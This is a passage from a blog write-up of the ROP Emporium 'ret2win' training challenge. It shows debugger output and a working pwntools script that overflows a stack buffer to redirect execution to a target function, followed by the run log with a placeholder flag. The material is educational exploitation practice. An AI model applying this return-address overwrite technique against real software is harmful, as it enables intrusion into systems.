$r12 : 0x00000000004005b0 β <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
</pre>
<p>
And if I could point your attention to <code>$rbp</code>, you should see that we have indeed control over the base pointer.<br>
</p>
</div>
</div>
</div>
<div id="outline-container-orgc7c1bac" class="outline-3">
<h3 id="orgc7c1bac"><span class="section-number-3">3.2.</span> Useful addresses</h3>
<div class="outline-text-3" id="text-3-2">
<p>
Since we already know which function we need to execute, and the binary doesn't have PIE enabled, I went ahead and grabbed the address from Binary Ninja.<br>
</p>
<table>
<colgroup>
<col class="org-left">
<col class="org-right">
</colgroup>
<thead>
<tr>
<th scope="col" class="org-left">Name</th>
<th scope="col" class="org-right">Address</th>
</tr>
</thead>
<tbody>
<tr>
<td class="org-left">ret2win</td>
<td class="org-right">0x400756</td>
</tr>
</tbody>
</table>
</div>
</div>
<div id="outline-container-org412748c" class="outline-3">
<h3 id="org412748c"><span class="section-number-3">3.3.</span> Final exploit</h3>
<div class="outline-text-3" id="text-3-3">
<p>
So know that we have control over the base pointer let's make it point towards <code>ret2win</code> and finish this challenge.<br>
</p>
<div class="org-src-container">
<pre class="src src-python"><span class="org-py-import-from">from</span> pwn <span class="org-py-import-from">import</span> *
context.update(arch=<span class="org-string">"amd64"</span>, os=<span class="org-string">"linux"</span>)
<span class="org-py-variable-name">proc</span> = process(<span class="org-string">"./ret2win"</span>)
<span class="org-py-def-class">def</span> <span class="org-py-def">send_recv</span>(<span class="org-py-builtins">buffer</span>: <span class="org-py-builtins">bytes</span>):
proc.recvuntil(b<span class="org-string">">"</span>)
proc.sendline(<span class="org-py-builtins">buffer</span>)
<span class="org-keyword">return</span> proc.recvline()
<span class="org-py-variable-name">ret2win_addr</span> = 0x400756
<span class="org-py-variable-name">payload</span> = cyclic(cyclic_find(0x6161616B))
<span class="org-py-variable-name">payload</span> += p64(ret2win_addr)
send_recv(payload)
proc.interactive()
</pre>
</div>
<p>
As you can see instead of <code>0xdeadbeefcafebabe</code> we just use <code>ret2win_addr</code>.<br>
And if we run the script:<br>
</p>
<pre class="example" id="org179f40e">
βββββ[~/ha/bi/ropemporium/ret2win on ξ master [?]
ββ>python exploit.py
[+] Starting local process './ret2win': pid 170719
[*] Switching to interactive mode
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Process './ret2win' stopped with exit code -11 (SIGSEGV) (pid 170719)
[*] Got EOF while sending in interactive
</pre>
</div>
</div>
</div>
<div id="outline-container-orgbc6e4f2" class="outline-2">
<h2 id="orgbc6e4f2"><span class="section-number-2">4.</span> Conclusion</h2>
<div class="outline-text-2" id="text-4">
<p>
First of all thank you for reading my first proper write-up.<br>
I hope it won't be the last, as I want to publish a new post/write-up/whatever-you-call-it every other week.<br>
</p>
<p>
So what did we do here?<br>
We got a <i>very</i> basic introduction to buffer overflows and ROP, but hopefully enough to you hooked ;).<br>
We successfully overflowed a buffer which let us control the return address of the function.<br>
</p>
<p>
My next post will be about ROPemporium split, where we need to make use of so called ROPgadgets.<br>
</p>
</div>
</div>
<div id="outline-container-orgf20d1cc" class="outline-2">
<h2 id="orgf20d1cc"><span class="section-number-2">5.</span> Final words</h2>
<div class="outline-text-2" id="text-5">
<p>
Thank you for taking some time out of your day to read this post.<br>
If you enjoyed this post, feel free to join my <a href="https://discord.gg/t8tKrgdGWu">Discord server</a> to get notification whenever I post something and ask questions if there are any.<br>
</p>
</div>
</div>
</div>
<div id="postamble" class="status">
<div class="footer">
<div id="copyright">
<small>© Copyright 2022, C3lphie</small>
</div>
</div>
</div>
</body>
</html>